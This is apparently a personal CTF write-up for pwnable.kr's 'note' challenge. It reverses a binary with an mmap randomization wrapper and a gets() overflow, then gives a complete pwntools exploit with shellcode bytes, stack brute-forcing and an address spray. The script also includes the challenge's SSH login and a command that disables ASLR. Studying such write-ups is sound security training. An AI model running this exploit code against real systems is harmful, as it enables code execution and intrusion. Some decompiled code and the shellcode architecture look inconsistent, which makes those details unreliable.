this is my writeup for pwnable.kr's challenge, note. the description for this challenge is:
Check out my SECURITY PATCH for mmap().
despite no-ASLR setting, it will randomize memory layout.
so it will contribute for exploit mitigation.
wanna try sample application?
so it seems like it will randomize our virtual address spaces when loaded into memory with the mmap syscall. Since they only mentioned ASLR, i am assuming that they do not randomize the address of our binary within memory. This is important as the existece of PIE can prevent some techniques we previously had for bypassing ASLR. Though, it will not randomize the address of our heap or stack, which means they are still on a fixed location. This may be helpful later.
Also, something that should be noted is that ASLR is disabled on the remote system, which means we should probably do the same. You know the drill
echo 0 | tee /proc/sys/kernel/randomize_va_space
Lets first run the binary and inspect the output:
recently I noticed that in 32bit system with no ASLR,
mmap(NULL... gives predictable address
I believe this is not secure in terms of software exploit mitigation
so I fixed this feature and called mmap_s
please try out this sample note application to see how mmap_s works
you will see mmap_s() giving true random address despite no ASLR
I think security people will thank me for this :)
- Select Menu -
1. create note
2. write note
3. read note
4. delete note
5. exit
ok, so according to the output, it seems we will have a function that will randomize the address space of libc. I am assuming this, due to the fact that it is the only important thing to randomize within virtual memory. That, or the binary itself which is not what ASLR does. We also seem to have a selection menu reminiscent of any heap related challenge. That is another small nitpick i have with those kinds of ctf challenges, they should not have just handed over control of the dynamic allocators without any form of struggle. I would enjoy them much more if they implemented some clever scenario in which we would actually be able to get that amount of control over dynamic memory. Anyways, it seems that the binary will present us with a menu to create, write, read, and delete notes. Lets reverse this binary to better understand how this mmap_s function works.
just as a heads up, i will be skipping over the reduntant functions like our menu. It will simply present us with the menu, our options, call scanf, then a switch statement to our options. Nothing of interest there, so i have skipped over it and decided to look at the important functions.
void create_note() {
int counter=0;
while (1) {
if (255 < counter) {
puts("memory sults are fool");
return;
}
if ((mem_arr[counter])==0) break;
// *(int32_t *)(obj.mem_arr + var_ch * 4) == 0)
counter++;
}
int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);
printf("note created. no %d\n [%08x]", counter, ret_val);
}
void read_note() {
int input;
puts("note no?");
scanf("%d", &input);
clear_newlines();
if (input < 0x101) {
if ((mem_arr[input])==0) {
puts("empty slut!");
} else {
puts(mem_arr[input]);
}
}
return;
}
void delete_note() {
int input;
puts("note no?");
scanf("%d", &input);
clear_newlines();
if (input < 0x101) {
if ((mem_arr[input])==0) {
puts("already empty slut!);
} else {
munmap(mem_arr[input], 0x1000);
}
} else {
puts("index out of range");
}
}
as we can see, for each of our functions it will ask us for input, then perform the correct operation on our note. Our mem_arr will contain all the pointers to allocated memory by our create_note function which will first check if the array is empty. it will check mem_arr[0] if empty, if not, it will increment the counter, and move onto the next one, once it finds an empty entry in our array, it will then break out of the while loop and call mmap_s(), the final boss of this binary. It will then give us the index to our newly allocated note.
within the next few functions, we find a strange looking piece of code:
if *(int32_t *)(obj.mem_arr + var_ch * 4) == 0) {}
the reason you see this strange jarbled bunch of code within the comments of by decompilation is due to the fact that i believe that it is indexing to an array. I believe this due to the fact that in my time of reading disassembly over and over again, indexing always occurs by incrementing a pointer. In this case, the pointer is to the pointer to our array, obj.mem_arr. We can see that the type of our mem_arr array is int32, which is our normal 32 bit signed integer.
We now know the size of each index will be 4 bytes. now, as we can see it will add the pointer to mem_addr with our input(var_ch). Since we already know that the size of each value within this array is 4 bytes, we now know what the "* 4" is for. We are multiplying our input by 4, because an integer is 4 bytes.
So if we were to index mem_arr to 2, the code would look like this:
mem_arr[input];
assembler pseudocode representation:
mov rax, input ; input will be stored as local var on stack
mov rax, [rax*4+mem_arr] ; mem_arr will be stored as global variable in .data
the "* 4" operation still might be confusing you, so let me better elaborate on how this works. if we were to say:
mem_arr[1];
how would we access index 1? lets think, if an int data type is 4 bytes, we will have to increment our pointer to mem_arr up by 4 right? since that is how we get to the next value within our array?
okay, so we increment by 4, and now we are pointing to mem_arr[1];
so if we wanted to access [1], and "mem_arr + 4" got us there, how can we make this more efficient? lets try it again, except using the same, faster, solution.
input = 1;
mem_addr[input];
we will have a pointer to mem_addr + 4. But instead, we choose to use "1 * 4", and this equates to 4. ok cool, so how does this scale?
input = 2;
mem_addr[input];
2 * 4 = 8, and 8 bytes is the exact amount of bytes we need in order to index to [2]. I think we understand now.
each of these functions index the mem_arr array like this, it makes things a little more confusing, but this is why i usually prefer disassembly over decompilation. It will take a longer time, but nothing slips through your fingers.
An interesting thing that can be noted, is that our write_note() function uses gets to write to our note. This may cause security implications. The other functions do exactly what they imply, they will read and delete our notes if we provide an index. Lets not reverse the most interesting function within the binary:
// int ret_val = mmap_s(0, 0x1000, 7, 0x22, -1, 0);
int mmap_s(void *addr, int size, int arg_10h, int arg_14h, int arg_18h, void *arg_1ch) {
int ret, fd;
if ((addr == 0) && ((arg_14h & 0x10U) == 0) {
fd = open("/dev/urandom", 0);
if (fd==-1) {
exit(-1);
}
ret = read(fd, &addr, 4);
if (ret != 4) {
exit(-1);
}
close(fd);
addr = addr & 0x7ffff000 | 0x80000000;
while (ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch), ret == -1) {
// if memory already in use, increment pointer by 0x1000 bytes.
ret += 0x1000; // 0x1000 page size ; 4096
}
} else {
ret = mmap(addr, size, arg_10h, MAP_ANONYMOUS | MAP_FIXED, fd, arg_1ch);
}
return ret;
}
This is a very interesting function we have, it seems to be a wrapper for our mmap() system call. we can see that it will attempt to open /dev/urandom and read 4 random bytes from it. it will use that as a seed of sorts to randomize the address of our mmap'd memory. Other than our buffer overflow, we have one more vulnerability left on our list.
as we can see here, these are the representations of each mmap() option:
PROT_READ = 0x1 # /* Page can be read. */
PROT_WRITE = 0x2 # /* Page can be written. */
PROT_EXEC = 0x4 # /* Page can be executed. */
PROT_NONE = 0x0 # /* Page can not be accessed. */
MAP_SHARED = 0x01 # /* Share changes. */
MAP_PRIVATE = 0x02 # /* Changes are private. */
MAP_ANONYMOUS = 0x20 # /* Don't use a file. */
MAP_FIXED = 0x10 # /* Interpret addr exactly. */
if we check in the documentation of mmap(), we can see that the mmaped memory will be placed to wherever we specify through our addr dereference pointer parameter. If it attempts to find and return a pointer to a newly allocated piece of memory, and that memory has already been taken, we should be able to know where that is. Since it will return MAP_FAILED each time it fails, and will increment by 0x1000, which is 4096 bytes, which is a page.
Now lets see this in action, start the binary up in gdb and set a breakpoint before select_menu's ret.
now that we have created 2 notes, all a page size in length, which is 0x1000 or 4096 bytes in decimal, we can exit the program with the option 5, or SIGTERM. after that, we look at our memory map.
as we can see, just below our heap, there resides 2 chunks of memory both with the size of 0x1000. this was helpful in visualizing exactly how and where our mmap'd memory will end up, and provides us with a better understanding of the layout of our program.
Now that we understand how this binary works, i will walk you through the steps for my solution. I will explain each step along the way due to the fact that i want this to be brief.
There is no ASLR enabled, which means the virtual address spaces of our program wont be random We are allowed to allocate, read, and write to memory by using the menu to work with "notes" This space that has been used to mmap had not changed the permissions of that memory with mprotect() We are also able to allocate a massive amount of data, 1 page per allocation/note, and we have 255 We will be able to overwrite the stack eventually, another thing that should be noted, is that each time we allocate a new note, the value of our rsp/stack pointer will decrease by 0x430. Here is the final exploit:
#!/usr/bin/env python3
from pwn import *
from sys import argv, exit
from time import sleep
if __name__ == "__main__":
try:
if len(argv)>1 and argv[1]=="-r":
conn=ssh("note", "pwnable.kr", port=2222, password='guest')
p=conn.process("./note",cwd='/home/note')
elif argv[1]=="-rp":
conn=ssh("note", "pwnable.kr", port=2222, password='guest')
p=conn.remote("127.0.0.1", 9019)
elif argv[1]=="-l":
p=process('./note')
except IndexError:
print("Usage: python3 %s [-r] [-rp] [-l]"%argv[0])
print("-r \tremote\n-rp\tremote priv\n-l \tlocal")
exit(0)
context(arch='i386',os='linux', log_level='DEBUG')
shellcode=b"\x90"*10 + b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
log.warning("sleeping until binary menu finishes")
## define important variables
ind=0
static_stack_addr=0xfffdd000
### allocate note and get address
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(" [")
shellcode_addr = int(p.recvline().split(b"]")[0],16)
log.info("Allocated note and leaked address: %s"%hex(shellcode_addr))
log.info("writing shellcode to address")
### sending shellcode to index[0] of notes and brute force stack
p.sendline("2")
p.recvuntil("note no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(shellcode)
while 1:
if ind==255:
ind=1
for i in range(1,256):
p.recvuntil("exit\n")
p.sendline("4")
p.recvuntil("?\n")
p.sendline(str(i))
static_stack_addr-=0x430*254
p.recvuntil("exit\n")
p.sendline("1")
p.recvuntil("[")
leak=int(p.recvline().split(b"]")[0], 16)
if static_stack_addr<leak:
break
ind+=1
static_stack_addr-=0x430
p.recvuntil("exit\n")
p.sendline("2")
p.recvuntil("no?\n")
p.sendline(str(ind))
p.recvuntil("e)\n")
p.sendline(p32(shellcode_addr) * 1024)
#p.interactive()
p.recvuntil("exit\n")
p.sendline("5") # ret
p.interactive()